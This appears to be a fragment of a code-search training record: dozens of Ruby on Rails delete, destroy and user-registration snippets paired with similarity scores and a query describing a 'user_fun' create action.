"def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def user_delete(user_id)\n\t\tdelete_call = Curl::Easy.http_delete(\"#{@ip_address}:#{@port_2}/v2.0/users/#{user_id}\"\n\t\t) do |curl|\n\t\t\tcurl.headers['x-auth-token'] = @token\n\t\t\tcurl.headers['userId'] = user_id\n\t\tend\n\t\n\tend",
"def destroy\n @user.destroy\n format.json { head :no_content }\n end",
"def destroy\n @user=User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user.destroy\n render json: {message: \"user Deleted successfuly\"}\n end",
"def delete(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'DELETE',\n path: path,\n headers: headers,\n params: params,\n )\n end",
"def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end",
"def delete(user)\n Rails.logger.debug \"Call to photo.delete\"\n if !self.file.blank?\n Util.delete_image(self.file) #Delete the image file from the image server\n end\n reqUrl = \"/api/photo/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password'])#Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end",
"def destroy\n @func.destroy\n respond_to do |format|\n format.html { redirect_to funcs_url, notice: 'Func was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_uf = Core::Uf.find(params[:id])\n @core_uf.destroy\n\n respond_to do |format|\n format.html { redirect_to core_ufs_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_user = TestUser.find(params[:id])\n @test_user.destroy\n\n respond_to do |format|\n format.html { redirect_to test_users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @myuser.destroy\n\n head :no_content\n end",
"def destroy\n logger.info(\"Delete friend_id 33333\")\n logger.info(\"Delete friend_id #{params[:user_id]}\")\n @friendship.destroy\n if request.format.json?\n render text: \"Delete\"\n else\n @friendship.destroy\n redirect_to friendships_url \n end \n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def delete_user(uid)\n begin\n RestClient.delete construct_url(\"user/#{uid}\")\n true\n rescue RestClient::BadRequest => e\n @last_error = e.http_body\n @last_error_code = e.http_code\n false\n end \n end",
"def destroy\n @user_ext = UserExt.find(params[:id])\n @user_ext.destroy\n\n respond_to do |format|\n format.html { redirect_to user_exts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wei_user.destroy\n respond_to do |format|\n format.html { redirect_to wei_users_url }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = UtilisateurService.instance.supprimerUtilisateur(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def delete\n \n end",
"def destroy\n @user_id = UserId.find(params[:id])\n @user_id.destroy\n\n respond_to do |format|\n format.html { redirect_to user_ids_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exam_user = ExamUser.find(params[:id])\n @exam_user.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userfile.destroy\n respond_to do |format|\n format.html { redirect_to userfiles_url, notice: 'Userfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @user = User.find(params[:user_id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to user_index_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @funeral.destroy\n\n respond_to do |format|\n format.html { redirect_to funerals_url }\n format.json { head :no_content }\n end\n end",
"def delete_user\n client.delete(user)\n end",
"def destroy\n @user_interest = UserInterest.find(params[:id])\n @user_interest.destroy\n \n if @user_interest.save\n render json: {\n status: 200,\n message: \"Successfully deleted user interest\",\n user_interests: @user_interest\n }.to_json\n else\n render json: {\n status: 500,\n message: \"Couldn't delete user interest.\",\n errors: @user_interest.errors\n }.to_json\n end\n end",
"def destroy\n @user_fable.destroy\n respond_to do |format|\n format.html { redirect_to user_fables_url, notice: 'User fable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @funeral.destroy\n respond_to do |format|\n format.html { redirect_to funerals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @users_db.destroy\n respond_to do |format|\n format.html { redirect_to users_dbs_url, notice: 'Users db was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n User.cascade_delete(@user)\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def delete_users\n delete(users_path)\n end",
"def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @myuser.destroy\n respond_to do |format|\n format.html { redirect_to myusers_url, notice: 'Myuser was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n\n end",
"def destroy\n #@user.destroy\n #respond_to do |format|\n # format.html { redirect_to users_url }\n # format.json { head :no_content }\n #end\n end",
"def destroy\r\n\r\n @user.destroy\r\n\r\n save_users_log(current_user.email, 'user_deleted',@user.to_json)\r\n\r\n respond_to do |format|\r\n format.html { redirect_to users_url, notice: 'User was successfully deleted.' }\r\n end\r\n end",
"def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end",
"def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\nend",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n \n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'Usuario eliminado correctamente' }\n format.json { head :no_content }\n end\n \n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to dm_core.admin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end"
] |
[
"0.6992293",
"0.69635135",
"0.68825",
"0.68398446",
"0.68136066",
"0.67572737",
"0.6698803",
"0.66330427",
"0.66330427",
"0.663094",
"0.6623205",
"0.66100335",
"0.6599963",
"0.65765154",
"0.65672076",
"0.65511775",
"0.6548282",
"0.6539716",
"0.6539565",
"0.65371895",
"0.6535229",
"0.652478",
"0.6520921",
"0.6511386",
"0.6502999",
"0.6494178",
"0.6493828",
"0.6492048",
"0.6478064",
"0.6466715",
"0.6462777",
"0.6453474",
"0.64485323",
"0.64482695",
"0.64482695",
"0.6437656",
"0.64335895",
"0.6431052",
"0.64271694",
"0.64223427",
"0.6407023",
"0.6406335",
"0.63887435",
"0.637975",
"0.6374472",
"0.635605",
"0.63528174",
"0.6349496",
"0.6347263",
"0.6346575",
"0.6345765",
"0.63456815",
"0.6342466",
"0.63402754",
"0.6331283",
"0.6331058",
"0.63296247",
"0.6325",
"0.63247097",
"0.6322549",
"0.63192785",
"0.631807",
"0.6314227",
"0.63119584",
"0.63106656",
"0.6309491",
"0.6308106",
"0.630728",
"0.63048357",
"0.63047826",
"0.63016045",
"0.6296092",
"0.6296002",
"0.629594",
"0.62886715",
"0.62876594",
"0.62875223",
"0.6283444",
"0.6276365",
"0.6274868",
"0.62748104",
"0.6273555",
"0.6270591",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636",
"0.62696636"
] |
0.76978886
|
1
|
authenticate_user register fun POST /user_funs POST /user_funs.json create INPUT: fun_id (value) OUTPUT: SAVE user_fun (UserFun.object), fun.popularity +1 FROM: views/funs/list_selected TO: 2012.7.6 Yueying
|
def create
hash = params[:register]
if hash != nil
user_fun = UserFun.new
user_fun.user_id = current_user.id
hash_invert = hash.invert
user_fun.fun_id = hash_invert.values_at("register").first.to_i
user_fun.save
fun = user_fun.fun
sql = ActiveRecord::Base.connection()
sql.execute("UPDATE funs SET funs.popularity = funs.popularity + 1 WHERE funs.id = " + fun.id.to_s)
end
respond_to do |format|
format.html { redirect_to '/users/home' }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n hash = params[:register]\n\n if hash != nil\n user_fun = UserFun.new\n user_fun.user_id = session[:user_id]\n hash_invert = hash.invert\n user_fun.fun_id = hash_invert.values_at(\"register\").first.to_i\n user_fun.save\n\n fun = user_fun.fun\n sql = ActiveRecord::Base.connection()\n sql.execute(\"UPDATE funs SET funs.popularity = funs.popularity + 1 WHERE funs.id = \" + fun.id.to_s)\n end\n\n respond_to do |format|\n format.html { redirect_to '/admin/home' }\n end\n end",
"def fun_list\n @funs = Fun.find_funs_by_game_peclass(session[:user_id])\n @user_fun = UserFun.new\n end",
"def create\n @fun = Fun.new(params[:fun])\n\n respond_to do |format|\n if @fun.save\n format.html { redirect_to @fun, :notice => 'Fun was successfully created.' }\n format.json { render :json => @fun, :status => :created, :location => @fun }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, :repost\n @fun.repost_by current_user\n Stat.recount @fun.user, :reposts\n render json: { success: true }\n end",
"def create\n @fun = Fun.new(fun_params)\n\n respond_to do |format|\n if @fun.save\n format.html { redirect_to @fun, notice: 'Fun was successfully created.' }\n format.json { render :show, status: :created, location: @fun }\n else\n format.html { render :new }\n format.json { render json: @fun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @user_fun = UserFun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def new\n @user_fun = UserFun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def create\n @ftype = Ftype.create_ftype(params[:ftype], @user)\n if @ftype.save\n render json: {:code => 0}\n else\n render json: {:code => -1, :msg => \"params invalid\"}\n end\n end",
"def create\n @user = User.new(member_params)\n restrict_other_family\n @user.username = (0...4).map{ ('a'..'z').to_a[rand(26)] }.join\n\n respond_to do |format|\n if @user.save\n # redirect_back_or_default new_user_url\n\n format.html { redirect_to member_path(@user), notice: \"#{@user.dispname(User::FULLNAME)}を登録しました.\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n @users = User.includes_ext.order(\"user_exts.birth_day ASC\")\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n verify_post_request\n access_denied unless has_role?(:admin)\n require_parameters :login, :password, :password_confirmation\n\n user = User.find_by_login(params[:login])\n\n if user && user.active\n render_bad_request('An active user with this login already exists')\n else\n if user\n user.reactivate!(java_facade.getSettings().getString('sonar.defaultGroup'))\n user.notify_creation_handlers\n else\n user = prepare_user\n user.save!\n user.notify_creation_handlers\n end\n hash = user.to_hash\n respond_to do |format|\n format.json { render :json => jsonp(hash) }\n format.xml { render :xml => hash.to_xml(:skip_types => true, :root => 'users') }\n end\n end\n end",
"def create\n @ums_function = Ums::Function.new(ums_function_params)\n\n respond_to do |format|\n if @ums_function.save\n format.html { redirect_to ums.functions_url, notice: '功能创建创建成功.' }\n format.json { render action: 'show', status: :created, location: @ums_function }\n else\n format.html { render action: 'new' , status: :unprocessable_entity}\n format.json { render json: @ums_function.errors, status: :unprocessable_entity }\n end\n end\n end",
"def my_fun_list\n user_funs = UserFun.find_all_by_user_id(session[:user_id])\n @user_funs = UserFun.find_all_by_user_id(session[:user_id])\n end",
"def create\n @for_fun = ForFun.new(for_fun_params)\n\n respond_to do |format|\n if @for_fun.save\n format.html { redirect_to @for_fun, notice: 'For fun was successfully created.' }\n format.json { render :show, status: :created, location: @for_fun }\n else\n format.html { render :new }\n format.json { render json: @for_fun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_function = UserFunction.new(params[:user_function])\n\n respond_to do |format|\n if @user_function.save\n flash[:notice] = 'UserFunction was successfully created.'\n format.html { redirect_to([:admin,@user_function]) }\n format.xml { render :xml => @user_function, :status => :created, :location => @user_function }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_function.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @funny = current_user.funnies.build(funny_params)\n\n respond_to do |format|\n if @funny.save\n format.html { redirect_to @funny, notice: 'Funny was successfully created.' }\n format.json { render :show, status: :created, location: @funny }\n else\n format.html { render :new }\n format.json { render json: @funny.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fun_group = FunGroup.new(params[:fun_group])\n\n respond_to do |format|\n if @fun_group.save\n format.html { redirect_to @fun_group, notice: 'Fun group was successfully created.' }\n format.json { render json: @fun_group, status: :created, location: @fun_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fun_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def _user_add f = {}\n\t\tf[:salt] \t\t= _random_string 5\n\t\tf[:created] \t= Time.now\n\n\t\trequire \"digest/sha1\"\n\t\tf[:pawd] \t\t= Digest::SHA1.hexdigest(f[:pawd] + f[:salt])\n\n\t\t_throw L[:'the user is existing'] if _user? f[:name]\n\n\t\tDB[:_user].insert(f)\n\t\tuid = DB[:_user].filter(:name => f[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend",
"def create\n input_user = params[:user]\n input_pwd= params[:password]\n valid = Users.add(input_user, input_pwd)\n \n if valid > 0\n @user = input_user\n @count = valid\n test = {errCode: 1, count: @count}\n #render :welcome, \n render json: test\n else\n test = {errCode: valid}\n #render :action => \"user_exists\"\n render json: test\n end\n end",
"def register_api\n # begin\n email = \"not_provided#{User.last.present? ? User.last.id : 0}@not_provided.com\"\n password = 'not_provided'\n @user = User.find_by_device_token(register_api_params[:device_token])\n @user = User.find_by_email(email) if @user.blank?\n if @user.blank?\n user = @user\n @user = User.new(:email => email, :username => register_api_params[:username], :password => password, :device_token => register_api_params[:device_token], :lat => register_api_params[:lat], :lng => register_api_params[:lng])\n @user.save!\n # images = images_with_distance(@user, register_api_params[:distance])\n images = UserImage.where('user_id = ?', @user.id).order(\"created_at DESC\")\n images = add_likes(images)\n render :json => {:user => {:id => @user.id, :username => @user.username, :auth_token => @user.auth_token, :device_token => @user.device_token, :notification_count => @user.notification_count, :created_at => @user.created_at, :updated_at => @user.updated_at, :lng => @user.lng, :lat => @user.lat}, :images => images}\n else\n @user.update_attribute('lng', register_api_params[:lng].to_f)\n @user.update_attribute('lat', register_api_params[:lat].to_f)\n # images = images_with_distance(@user, register_api_params[:distance])\n images = UserImage.where('user_id = ?', @user.id).order(\"created_at DESC\")\n images = add_likes(images)\n render :json => {:user => {:id => @user.id, :username => @user.username, :auth_token => @user.auth_token, :device_token => @user.device_token, :notification_count => @user.notification_count, :created_at => @user.created_at, :updated_at => @user.updated_at, :lng => @user.lng, :lat => @user.lat}, :images => images}\n end\n # rescue Exception => e\n # error \"Please provide all required fields or Something went wrong.\"\n # end\n end",
"def create\n \n @user = current_user\n @funeral = Funeral.new(params[:funeral])\n @funeral.user_id = @user.id\n \n if @user.funeral.blank?\n respond_to do |format|\n if @funeral.save\n format.html { redirect_to @funeral, notice: 'Funeral was successfully created.' }\n format.json { render json: @funeral, status: :created, location: @funeral }\n else\n format.html { render action: \"new\" }\n format.json { render json: @funeral.errors, status: :unprocessable_entity }\n end\n end\n else\n link = \"<a href=\\\"/funerals/#{current_user.funeral.id}/edit\\\">edit</a>\" \n flash[:notice] = \"You have already set your funeral preferences for your account. Please #{link} your existing preferences.\".html_safe\n redirect_to :controller => \"users\", :id => current_user.id, :action => \"myaccount\"\n end\n \n end",
"def index\n @user_funs = UserFun.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @user_funs }\n end\n end",
"def create\n @user = current_user\n \n if current_user.funeral?\n flash[:notice] = \"You have already set your funeral preferences.\"\n url_for :controller => \"/users\", :id => current_user.id, :action => 'myaccount'\n else\n @funeral.user_id = @user.id\n \n respond_to do |format|\n if @funeral.save\n format.html { redirect_to @funeral, notice: 'Funeral was successfully created.' }\n format.json { render action: 'show', status: :created, location: @funeral }\n else\n format.html { render action: 'new' }\n format.json { render json: @funeral.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def register()\n\tentry = {\"userid\" => @userid, \"username\" => @username, \"email\" => @email, \"password\" => @password}\n\tDATABASE.newEntry(\"users\", entry)\n\tend",
"def register\r\n @user = User.new\r\n @visit_register = \"true\"\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @user }\r\n end\r\n end",
"def create\n extuser = User.find_by(username: user_params[:username])\n if(extuser.nil?)\n @user = User.new(user_params)\n @user.high_score = 0\n @user.save!\n auth_token = AuthenticateUser.new(user_params[:username], user_params[:password]).call\n response = { message: Message.account_created, auth_token: auth_token, high_score: 0 }\n json_response(response, :created)\n else\n response = { message: Message.dublicate_user }\n json_response(response, :bad_request)\n end \n end",
"def create_user\n \t@user = User.new(user_params)\n @user.username = @user.name.split.sum\n \t@user.facility_id = current_user.facility_id\n \t@user.email = 'medinternational.dev'+@user.username.to_s + \"@gmail.com\"\n \t@user.language = \"english\"\n \t@user.password = \"password\"\n @user.role = Role.find_by_name(\"bmet_tech\")\n \trespond_to do |format|\n \t\tif @user.save\n \t\t\tformat.html { redirect_to settings_path, notice: 'User successfully created'}\n \t\t\tformat.json { redirect_to settings_path, notice: 'User successfully created'}\n \t\telse\n \t\t\tformat.html {redirect_to settings_path, notice: 'Failed to create user'}\n \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity}\n \t\tend\n \tend\n end",
"def api_register\n creator = Creator.new(submits: 0, name: request.headers['name'],password: request.headers['password'],password_confirmation: request.headers['password'])\n if creator.save\n encode = encodeJWT(creator)\n selected_format({jwt: encode,creator_id: creator.id,name: creator.name,submits:creator.submits},:ok)\n else\n error = create_error_message\n error[:developerMessage] = creator.errors\n selected_format(error, :bad_request)\n end\n end",
"def create\n @user = User.new(params[:user])\n @user.firm = current_firm\n @users = current_firm.users\n @model = \"user\"\n @model_instanse = @user\n respond_to do |format|\n if @user.save\n flash[:notice] = flash_helper(\"Registration successful.\")\n format.html {redirect_to(users_path())}\n format.js\n else\n format.js { render \"shared/validate_create\" }\n end\n end\n end",
"def add\n @user = User.new(:username => params[:user], :password => params[:password])\n respond_to do |f|\n @user[:count] = 1\n if @user.save\n # Successfully added to DB\n output = { :errCode => 1, :count => @user[:count] }\n else\n # Failed, need to figure out error code\n error = @user.errors.full_messages[0]\n if error.include? \"taken\"\n output = { :errCode => -2 }\n elsif error.include? \"Password\"\n output = { :errCode => -4 }\n else\n output = { :errCode => -3 }\n end\n end\n f.json { render :json => output }\n end\n end",
"def create_new_user\r\n touch(\"* id:'#{add}'\")\r\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n user.username.downcase\n @token = issue_token(user)\n list = List.create(name: user.username)\n list.user_id = user.id\n user.save\n list.save\n render json: { user: UserSerializer.new(user), jwt: @token }, status: :created \n else \n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end \n end",
"def create\n require 'digest/md5'\n @user.device_id= Digest::MD5.hexdigest(User.random_string(10)).upcase\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to user_path(@user), :notice => @controller_name +t(:message_success_insert)}\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def register(users_list, transactions_all, password)\n\t#new user_id is generated using the lenght of the hash 'users_list'\n\t#a different approach should be used to generate user_id if the function to delete a user is implemented\n\n\tnew_user_id = users_list.length + 1\n\tnew_user = {balance: 0, password: password}\n\tusers_list[new_user_id] = new_user\n\n\ttransactions_all[new_user_id] = []\n\n\t$logged_in_user_id = new_user_id\n\tputs \"Registration successful. Your ID is #{$logged_in_user_id}.\"\n\n\tnew_user_id\nend",
"def register\r\n\t\t#binding.pry\r\n\t\tif session.has_key?(\"user\") \r\n\t\t\tdataHash = {\r\n\t\t\t\temail: params[:email],\r\n\t\t\t\tpassword: params[:password],\r\n\t\t\t\tpassword_confirmation: params[:password_confirmation],\r\n\t\t\t\tfname: params[:fname],\r\n\t\t\t\tlname: params[:lname],\r\n\t\t\t\tgender: params[:gender],\r\n\t\t\t\tfamilyStatus: params[:familyStatus],\r\n\t\t\t\timage_id: params[:image_id],\r\n\t\t\t\tbdate: params[:bdate],\r\n mobileToken: params[:mobileToken]\r\n\t\t\t}\r\n\t\t\terrors = Api::Init.MembersControl.checkRegisterParams(dataHash)\r\n\t\t\tif errors.count != 0 \r\n\t\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['register_error'],I18n.t(\"errors.messages.users.register_errors\"), errors).to_json\r\n\t else\r\n\t\t\t\tif User.isUserExist(params[:email]) \r\n\t\t\t\t\tdataHash[:bdate] = Date.strptime( dataHash[:bdate], '%m/%d/%Y')\r\n\t\t\t\t\ttmpUObject = User.register(dataHash)\r\n\t\t\t\t\tunless tmpUObject\r\n\t\t\t\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['register_user_exist'],I18n.t(\"errors.messages.users.register_errors\"), [I18n.t(\"errors.messages.users.register_faild\")]).to_json\r\n \telse\r\n userObject = User.getFullUserData(tmpUObject.id)\r\n\t\t @responseObject = OpenStruct.new({\r\n\t\t status: true,\r\n\t\t errors: [],\r\n\t \t\t\tcode: API_CODE_ERRORS['Services']['Global']['success'],\r\n\t\t objectData: OpenStruct.new(userObject),\r\n timestamp: (Date.new).to_time.to_i.abs\r\n\t\t })\r\n\t\t \trender :template => 'api/v1/users/members/register' ,:handlers => [:rabl], :formats => [:json]\r\n\t end\r\n\t\t\t\telse\r\n\t\t\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['register_user_exist'],I18n.t(\"errors.messages.users.register_errors\"), [I18n.t(\"errors.messages.users.register_existedUser\")]).to_json\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\telse\r\n\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['login_error'],I18n.t(\"errors.messages.users.register_errors\"),[I18n.t(\"errors.messages.users.register_while_login\")]).to_json\r\n\t\tend\r\n\tend",
"def create_user\n\t \to = [('a'..'z'), ('1'..'9')].map { |i| i.to_a }.flatten\n\t \tstring = (0...9).map { o[rand(o.length)] }.join\n\t \t@user = User.create( username: params[:user][:username],password: string ,rol: params[:user][:rol], name: params[:user][:name], carrier: params[:user][:carrier], email: params[:user][:email], landline: params[:user][:landline], cell_phone: params[:user][:cell_phone], container: params[:user][:cell_phone], liquid_charge: params[:user][:liquid_charge], dry_charge: params[:user][:dry_charge] )\n\t \trespond_to do |format|\n\t \t\tif @user.save\n\t \t\t\tflash[:notice] = 'Se ha creado un nuevo usuario'\n\t \t\t\tformat.html { redirect_to users_path }\n\t \t\t\tformat.js {}\n\t \t\t\tformat.json { render :show, status: :created, location: @user }\n\t \t\telse\n\t \t\t\twarden.custom_failure!\n\t \t\t\tformat.html { render :new }\n\t \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity }\n\t \t\tend\n\t \tend\n\t end",
"def add_graffiti(obj_type, obj_hash, graffiti, login, password_callback=PasswordCallback)\n name,value = graffiti.split(':')\n obj_hash.each_value do |obj|\n set_objects('graffitis', nil,\n { :name => name,\n :value => value,\n :graffitiable_id => obj['id'],\n :graffitiable_type => obj_type,\n },\n login, password_callback);\n end\n end",
"def register_user(email, username, password_digest, rank, username_downcase)\n $db.execute(\"INSERT INTO users (email, username, password_digest, rank, username_downcase) VALUES (?, ?, ?, ?, ?)\", email, username, password_digest, rank, username_downcase)\nend",
"def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @password = Digest::SHA1.hexdigest(params[:user_password])\n @user = User.new\n @user.fullname = params[:user_fullName]\n @user.username = params[:user_username]\n @user.password = @password\n @user.user_type_id = params[:user_selected_type]\n @user.status = 1\n if @user.save\n render :json => @user.to_json(:include =>[:user_type])\n else\n render :json => @user.errors.full_messages, status: :unprocessable_entity\n end\n \n\n end",
"def create\n @user = User.new({name: params[:name], email: params[:email], password: params[:password], photo: params[:photo], role: params[:type]})\n @user.save\n @auth = JsonWebToken.encode(user_id: @user.id)\n render json: {user: @user, auth_token: @auth}\n end",
"def sign_up_action\n current_user.stars += num\n current_user.save!\n print \"hello\"\n end",
"def create_user(field_hash)\n field_hash[:id] = \"user/new\"\n payload = compose(field_hash)\n resp = @site['user/new/edit'].post payload\n new_id = resp.match(/User\\s*(\\d+)/)\n if new_id.class == MatchData\n new_user = new_id[1]\n else\n new_user = resp\n end\n new_user # return the new user id or the full REST response\n end",
"def create\n @user = User.where(:email => params[:user][:email]).first\n\n if !@user.nil?\n \trender :json => {:success => false, :message => \"User already registered\"}, :status => 401\n else\n \tbegin\n\t\t @user = User.new(params[:user])\n @user.password = Devise.friendly_token[0,20]\n\t\t if @user.save\n\t\t @api_key = ApiKey.find_or_create_token_for(@user)\n\t\t render :json => {:success => true, :message => \"Registration successful\",:access_key => @api_key.access_token, :user => @user}, :status => 200\n\t\t else\n\t\t \trender :json => {:success => false, :message => \"Error while creating user\"}, :status => :not_acceptable\n\t\t end\n\t\t rescue Exception => e\n p e\n\t \tp e.backtrace\n\t render :json => {:success => false, :message => e.backtrace}, :status => :not_acceptable\n\t end\n\t end\n end",
"def create\n @fonction = current_user.fonctions.build(fonction_params)\n\n respond_to do |format|\n if @fonction.save\n @fonctions = Fonction.all\n format.html { redirect_to @fonction, notice: 'Fonction was successfully created.' }\n format.json { render :show, status: :created, location: @fonction }\n format.js\n else\n format.html { render :new }\n format.json { render json: @fonction.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
